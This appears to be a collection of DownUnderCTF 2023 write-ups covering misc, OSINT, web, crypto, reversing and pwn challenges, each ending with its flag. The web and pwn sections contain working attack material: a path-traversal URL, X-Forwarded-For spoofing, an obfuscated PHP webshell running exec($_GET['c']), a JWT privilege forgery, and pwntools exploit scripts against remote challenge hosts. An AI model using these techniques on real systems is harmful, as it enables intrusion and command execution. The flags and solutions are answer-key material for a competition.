discord -> rules -> monkey video -> 3:45
DUCTF{REJECTHUMANITYRETURNTOOURSUPPORTQUEUE}
view the yellow piece of flag in memes and concatenate it together
DUCTF{ThanksEl0nWeCantCall1tTheTw1tterFl4gN0w}
audacity -> effect -> delete the unnecessary frequency and listen along with the original sound (superposition principle) to make the morse code more clearer
Also, google auto complete is useful
DUCTF{BRINGBACKTHETREES}
read the program buttom up and collate it with clear version
;H┴MƎɹ┴S + ɹnoHʎddɐH + Ⅎ∀˥פ ƎWWIפ
;„ƎɹƐɥʍƐɯoϛ_ʞɔ0lƆoϛ-sʇƖ„ = ɹnoHʎddɐH NOʞƆƎɹ I
;„{Ⅎ┴Ɔ∩D„ = Ⅎ∀˥פ NOʞƆƎɹ I
;„}„ = H┴MƎɹ┴S NOʞƆƎɹ I
¡Ǝ┴∀W ⅄∀D,פ
DUCTF{1ts-5oCl0ck_5om3wh3rE}
DUCTF{I_D0nT_Th1nk_th15_1s_R34L_C}
Found some interesting pyc in app/utils/__pycache__
It is the cache for importing python as library, it may contains old data for last change of library
Read the crypto.cpython-310.pyc
and found key might be f122df4b445b2c383ace204f1571e410d7c5061c8852ed0b1f1a5e696aab0bea
DUCTF{o0p5_i_f0rG0t_aBoUt_pYc4Ch3!!1!}
Finish teh survey
The most difficult is to regonize the flag inside image
DUCTF{48_fun_hours_thx_4_playing_DUCTF4}
In the challenge, it modify the shell as python help shell
For python help
, it can do some RCE trick. [Ref]. But in this cnallenge it can not help us.
In the Official Writeup, there is a hint and suggest us find a features in less
to read the file.
After reading the manual, I found :e
can be useful. The full instruction as below.
- Enter
os
to get intoless
mode - Enter
:e
to examine a file - Examine
/home/ductf/flag.txt
DUCTF{sometimes_less_is_more}
Install gcloud SDK first
Then gcloud init
to do the initialize
Add credential file with the following command
gcloud auth activate-service-account --key-file=credentials.json
Then use the following command to list all the project and filter the item contains DUCTF ref
gcloud iam roles list --project=needle-in-iam --filter="desc
ription:DUCTF"
DUCTF{D3scr1be_L1ST_Wh4ts_th3_d1fference_FDyIMbnDmX}
The hardest part is that a leading newline needs to be preserved
:::spoiler solve.py
data = open("pyny.py").read().strip().replace("#coding: punycode","")
print(data.encode().decode("punycode"))
:::
DUCTF{python_warmup}
When we connected to the server. It doesn't ask us the credential and we can do many operate to the server.
We can use LIST
command to do ls
stuff in ftp first. We can see that there is a /chal
directory
LIST
150 Here comes the directory listing.
drwxr-xr-x 1 user group 4096 Aug 04 02:02 usr
drwxr-xr-x 1 user group 4096 Aug 04 02:06 lib64
drwxr-xr-x 1 user group 4096 Aug 21 01:13 lib
drwxr-xr-x 1 user group 4096 Aug 21 01:14 bin
drwxr-xr-x 1 user group 4096 Aug 21 01:12 kctf
drwxr-xr-x 1 user group 4096 Aug 30 04:23 chal
226 Directory send OK.
Then, we can use CWD
command to change the current directory. Just like cd
command
CWD chal
250 OK.
Then we do the LIST
again
LIST
150 Here comes the directory listing.
-rwxr-xr-x 1 user group 7151 Aug 30 04:23 pwn
-rw-r--r-- 1 user group 27 Aug 31 02:14 flag.txt
226 Directory send OK.
We found that there is a flag.txt
file. We can use RETR
to get the content of the file
RETR flag.txt
150 Opening data connection.
226 Transfer complete.
DUCTF{- Actually no, I don't feel like giving that up yet. ;)
It don't give use the flag directly. But there is another pwn
file. It may be the source code / binary of the FTP server
We can observer the source code. It use the python as the FTP server
We can found that it use the function in the class as the FTP command. Also, it read the flag.txt
into global variable FLAG
In the writeup, we can use __init__
as the ftp command, and it will call the __init__
function directly. So we can try to call the __init__.__globals__.get(FLAG)
to get the value of the global variable FLAG
__init__.__globals__.get FLAG
DUCTF{15_this_4_j41lbr34k?}
DUCTF{15_this_4_j41lbr34k?}
exiftool -n ExcellentVista.jpg
find GPS location
google map found location
DUCTF{Durrangan_Lookout}
Google lens found it is Golden Gate Bridge
After looking around, found the most possible place
DUCTF{H._Dana_Bowers_Rest_Area_&_Vista_Point}
using API and Triangulation (also gussing) to find the location
Melbourne -> Echuca -> Bendigo -> Mount Buller -> Myrtleford -> ... -> Milawa
{
"device": {
"phoneNumber": "+61491578888"
},
"area": {
"areaType": "Circle",
"center": {
"latitude": -36.44975198876775,
"longitude": 146.43384597112023
},
"radius": 2000
},
"maxAge": 120
}
DUCTF{Milawa}
Copy script from here and modify it
:::spoiler solve.js
var Web3 = require('web3');
var web3 = new Web3('https://blockchain-eightfivefourfive-80842a1fe7857165-eth.2023.ductf.dev:8545');
var myaddr = "0x7B674911d8d1cc8A958340e898Bd80AFFaB45C07";
var mypriv = "0xcc6c90e0ae1eaa6450f4ec692bce9e15b29ee7392f8b360876bdde33dd87c44d";
var contractaddr = "0xf22cB0Ca047e88AC996c17683Cee290518093574";
const ABI = [
{
"inputs": [
{
"internalType": "string",
"name": "some_string",
"type": "string"
}
],
"stateMutability": "nonpayable",
"type": "constructor"
},
{
"inputs": [],
"name": "isSolved",
"outputs": [
{
"internalType": "bool",
"name": "",
"type": "bool"
}
],
"stateMutability": "view",
"type": "function"
},
{
"inputs": [],
"name": "readTheStringHere",
"outputs": [
{
"internalType": "string",
"name": "",
"type": "string"
}
],
"stateMutability": "view",
"type": "function"
},
{
"inputs": [
{
"internalType": "string",
"name": "answer",
"type": "string"
}
],
"name": "solve_the_challenge",
"outputs": [],
"stateMutability": "nonpayable",
"type": "function"
},
{
"inputs": [],
"name": "you_solved_it",
"outputs": [
{
"internalType": "bool",
"name": "",
"type": "bool"
}
],
"stateMutability": "view",
"type": "function"
}
];
var mycontract = new web3.eth.Contract(ABI, contractaddr);
web3.eth.accounts.wallet.add(mypriv);
mycontract.methods.readTheStringHere().call().then(
function(result){
console.log(result);
mycontract.methods.solve_the_challenge(result).send({from: myaddr, gas: 100000}).then(
function(result){
console.log(result);
mycontract.methods.isSolved().call().then(console.log);
}
);
}
); // 'I can connect to the blockchain!'
// mycontract.methods.isSolved().call().then(console.log);
:::
⭐ Just remember installing web3@1.18.0 not the latest version
DUCTF{I_can_connect_to_8545_pretty_epic:)}
add X-Forwarded-For: 31.33.33.7
in request header
DUCTF{17_533m5_w3_f0rg07_70_pr0x}
https://web-static-file-server-9af22c2b5640.2023.ductf.dev/files/..%2f..%2f..%2f..%2f..%2fflag.txt
DUCTF{../../../p4th/tr4v3rsal/as/a/s3rv1c3}
It is a upload server, which will xxd the uploaded file and output it
For the xxd functionailty, it will look like original xxd
command output, but it actually using sprintf
to do such work. So it may not have a command injection problem
Also, in .htaccess
, it will force the file output stream become plaintext except .php
:::spoiler .htaccess
# Everything not a PHP file, should be served as text/plain
<FilesMatch "\.(?!(php)$)([^.]*)$">
ForceType text/plain
</FilesMatch>
:::
So maybe it can upload a php webshell?
For a safety craft php script, it is possible. Here is my script:
:::spoiler solve.php
<?php $a=' ';$b='exec';$a='';$g=$_GET;$a=' ';$b($g["c"]);?>
:::
It seems wierd, but when it convert to xxd output, it will become the following:
00000000: 3c3f 7068 7020 2461 3d27 2020 2020 2020 <?php $a='
00000010: 273b 2462 3d27 6578 6563 273b 2461 3d27 ';$b='exec';$a='
00000020: 273b 2467 3d24 5f47 4554 3b24 613d 2720 ';$g=$_GET;$a='
00000030: 273b 2462 2824 675b 2263 225d 293b 3f3e ';$b($g["c"]);?>
for prettier, it will look obviously as a webshell:
00000000: 3c3f 7068 7020 2461 3d27 2020 2020 2020
<?php
$a='
00000010: 273b 2462 3d27 6578 6563 273b 2461 3d27 ';
$b='exec';
$a='
00000020: 273b 2467 3d24 5f47 4554 3b24 613d 2720 ';
$g=$_GET;
$a='
00000030: 273b 2462 2824 675b 2263 225d 293b 3f3e ';
$b($g["c"]);
?>
Ignore the $a
part, it is just a exec($_GET["c"]);
But it still a bind webshell, so we can use cat /flag >> ./solve.php
to dump the flag into file we uploaded
DUCTF{00000000__7368_656c_6c64_5f77_6974_685f_7878_6421__shelld_with_xxd!}
After observe the source code, found it will store all credential in JWT, and will setup
But, in the signup procedure, it sets all the paylaod into JWT without check. So we can forgery signup packet and add is_teacher=1
paylaod in it
It will automate generate a JWT with Teacher role, which make us are able to view flag page
DUCTF{Y0u_Kn0W_M4Ss_A5s1GnM3Nt_c890ne89c3}
In the source code, it modify the X-Forwarded-For
header and make it as the real client IP
for i, v := range headers {
if strings.ToLower(v[0]) == "x-forwarded-for" {
headers[i][1] = fmt.Sprintf("%s, %s", v[1], clientIP)
break
}
}
But when X-Forwarded-For
occur twice, only the first X-Forwarded-For
been modified. The second one is as same as original. And in the procedure, the second one will cover the first one, which is teh result we want
curl -v http://actually.proxed.duc.tf:30009 -H "X-Forwarded-For: 31.33.33.7" -H "X-Forwarded-For: 31.33.33.7"
DUCTF{y0ur_c0d3_15_n07_b3773r_7h4n_7h3_574nd4rd_l1b}
m1 = 1168302403781268101731523384107546514884411261
m2 = num // m1
print(long_to_bytes(m2) + long_to_bytes(m1))
DUCTF{is_1nt3ger_f4ct0r1s4t10n_h4rd?}
find index in palette and do CRT
:::spoiler solve.py
from sage.all import CRT
import string
with open("/home/ywc/myworkspace/ductf_2023/flag_art/output.txt") as fh:
data = fh.read()
palette = '.=w-o^*'
flag = b""
temp = []
for d in data:
if d in palette:
temp.append(palette.find(d))
if(len(temp) == 4):
m = CRT(temp, [2,3,5,7])
if chr(m) not in string.printable:
m += (2*3*5*7)
flag += bytes([m])
temp.clear()
print(flag)
:::
DUCTF{r3c0nstruct10n_0f_fl4g_fr0m_fl4g_4r7_by_l00kup_t4bl3_0r_ch1n3s3_r3m41nd3r1ng?}
In the source code, it choose a number from 0 to 1337 as the random seed for random
Then, it use random.choice
to sample the flag string
We can try all the 1338 keys and compare the generated distribution is as same as sampled flag string. If it is same, recover the flag
:::spoiler solve.py
import random
with open("output.txt") as fh:
data = fh.read().strip()
distribution = []
for seed in range(0, 1338):
random.seed(seed)
distribution.append(random.choices(range(0,61), k=61*5))
for i,dist in enumerate(distribution):
if dist[-1] == 1 and dist[1] == 0:
origflag = [0 for _ in range(61)]
for j,d in enumerate(dist):
origflag[d] = data[j]
print(''.join(origflag))
:::
DUCTF{is_r4nd0mn3ss_d3t3rm1n1st1c?_cba67ea78f19bcaefd9068f1a}
It is a RSA challenge, with p,q in 1024 bit length. So it can not easily factorize n.
But it give us some hint. It calculates 2 $hint = ap+bq$ value, with a 12 bit length and b 312 bit length
we can find a set of
We can perform GCD with this value along with n, and check whether is has a common factor is not 1 and is a prime. This factor might be the
Full script: :::spoiler solve.py
from Crypto.Util.number import long_to_bytes, GCD, isPrime
from tqdm import trange
n = ...
c = ...
hints = ...
for a in trange(1,2**12):
for b in range(1,2**12):
newnum = a*hints[0] - b*hints[1]
q = GCD(newnum, n)
if(q != 1 and isPrime(q)):
q = GCD(newnum, n)
p = n // q
assert isPrime(p)
assert p*q == n
phi = (p-1)*(q-1)
d = pow(0x10001,-1,phi)
print(long_to_bytes(pow(c,d,n)))
:::
DUCTF{gcd_1s_a_g00d_alg0r1thm_f0r_th3_t00lbox}
found wierd buffer in main.print_flag
follow the code to print flag (xor with 0x11 -> fromhex)
DUCTF{Od1n_1S-N0t_C}
Found the following js in text/javascript
(seen in source)
Just make it return blue
, just as find a way from a
-> b
-> ... -> n
:::spoiler javascript
let answer = fun(x);
if (!/^[a-z]{13}$/.exec(answer)) return "";
let a = [], b = [], c = [], d = [], e = [], f = [], g = [], h = [], i = [], j = [], k = [], l = [], m = [];
let n = "blue";
a.push(a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, b, a, a, a, a, a, a, a, a);
b.push(b, b, b, b, c, b, a, a, b, b, a, b, a, b, a, a, b, a, b, a, a, b, a, b, a, b);
c.push(a, d, b, c, a, a, a, c, b, b, b, a, b, c, a, b, b, a, c, c, b, a, b, a, c, c);
d.push(c, d, c, c, e, d, d, c, c, c, c, b, c, c, d, c, b, d, a, d, c, c, c, a, d, c);
e.push(a, e, f, c, d, e, a, e, c, d, c, c, c, d, a, e, b, b, a, d, c, e, b, b, a, a);
f.push(f, d, g, e, d, e, d, c, b, f, f, f, a, f, e, f, f, d, a, b, b, b, f, f, a, f);
g.push(h, a, c, c, g, c, b, a, g, e, e, c, g, e, g, g, b, d, b, b, c, c, d, e, b, f);
h.push(c, d, a, e, c, b, f, c, a, e, a, b, a, g, e, i, g, e, g, h, d, b, a, e, c, b);
i.push(h, a, d, b, d, c, d, b, f, a, b, b, i, d, g, a, a, a, h, i, j, c, e, f, d, d);
j.push(b, f, c, f, i, c, b, b, c, j, i, e, e, j, g, j, c, k, c, i, h, g, g, g, a, d);
k.push(i, k, c, h, h, j, c, e, a, f, f, h, e, g, c, l, c, a, e, f, d, c, f, f, a, h);
l.push(j, k, j, a, a, i, i, c, d, c, a, m, a, g, f, j, j, k, d, g, l, f, i, b, f, l);
m.push(c, c, e, g, n, a, g, k, m, a, h, h, l, d, d, g, b, h, d, h, e, l, k, h, k, f);
walk = a;
for (let c of answer) {
walk = walk[c.charCodeAt() - 97];
}
if (walk != "blue") return "";
return {toString: () => _ = window._ ? answer : "blue"};
:::
The answer is rebeccapurple
DUCTF{rebeccapurple}
Because of type incompatable between idx (unsigned short) and return of read_int_lower_than function (int), so it will have some vulnerability
Login id with -65529
DUCTF{-65529_==_7_(mod_65536)}
Type confusing and out-of-bound write trick
For the scanf("%lf", &d);
, it can entering 1.39067116130910353795872316474E-309
, which is 0x0000FFFFFFFF3419
, can make d become 0x3419
and make z become -1
(0xffffffff)
For the scanf("%d", &s);
, it can entering 1195461702
, which is 0x47414c46
and it is FLAG
in little endian
For the scanf("%8s", &f);
, it can entering the byte string of 0xe586949b77e3f93f
, which will become 1.6180339887 in IEEE754 (in little endian)
Full script:
:::spoiler solve.py
from pwn import *
from Crypto.Util.number import long_to_bytes
binary = "./confusing"
context.terminal = ["cmd.exe", "/c", "start", "bash.exe", "-c"]
context.log_level = "debug"
context.binary = binary
conn = remote("2023.ductf.dev", 30024)
# conn = process(binary)
# conn = gdb.debug(binary)
# 0x0000FFFFFFFF3419
# 0x47414c46
# 0xe586949b77e3f93f
conn.sendlineafter(b"d: ", b"1.39067116130910353795872316474E-309")
conn.sendlineafter(b"s: ", str(0x47414c46).encode())
conn.sendlineafter(b"f: ", long_to_bytes(0xe586949b77e3f93f))
conn.interactive()
:::
DUCTF{typ3_c0nfus1on_c4n_b3_c0nfus1ng!}
This is an off-by-one attack ref
We can modify the last byte as a randomly number. And hope the control flow jump on the stack. We can fill in the address we want (win
function)
So we will try again and again to get the hope. ref
Although it has PIE defense, it may leak the init
address. We can calculate the win
address with the init
address leak, which is win = leak - 0x1bd + 0x203
:::spoiler solve.py
from pwn import *
from Crypto.Util.number import bytes_to_long
binary = "./onebyte"
context.terminal = ["cmd.exe", "/c", "start", "bash.exe", "-c"]
context.log_level = "debug"
context.binary = binary
while True:
conn = remote("2023.ductf.dev", 30018)
# conn = process(binary)
# conn = gdb.debug(binary, "b main")
conn.recvuntil(b"0x")
d = conn.recv(8)
leak = bytes_to_long(bytes.fromhex(d.decode()))
print(d)
win = leak + (0x203 - 0x1bd)
print(hex(win))
conn.sendafter(b"Your turn: ", p32(win) * 4 + b"x")
conn.sendline(b'whoami')
try:
result = conn.recvline().decode()
print(result)
conn.interactive()
conn.close()
exit()
except EOFError:
conn.close()
:::
DUCTF{all_1t_t4k3s_is_0n3!}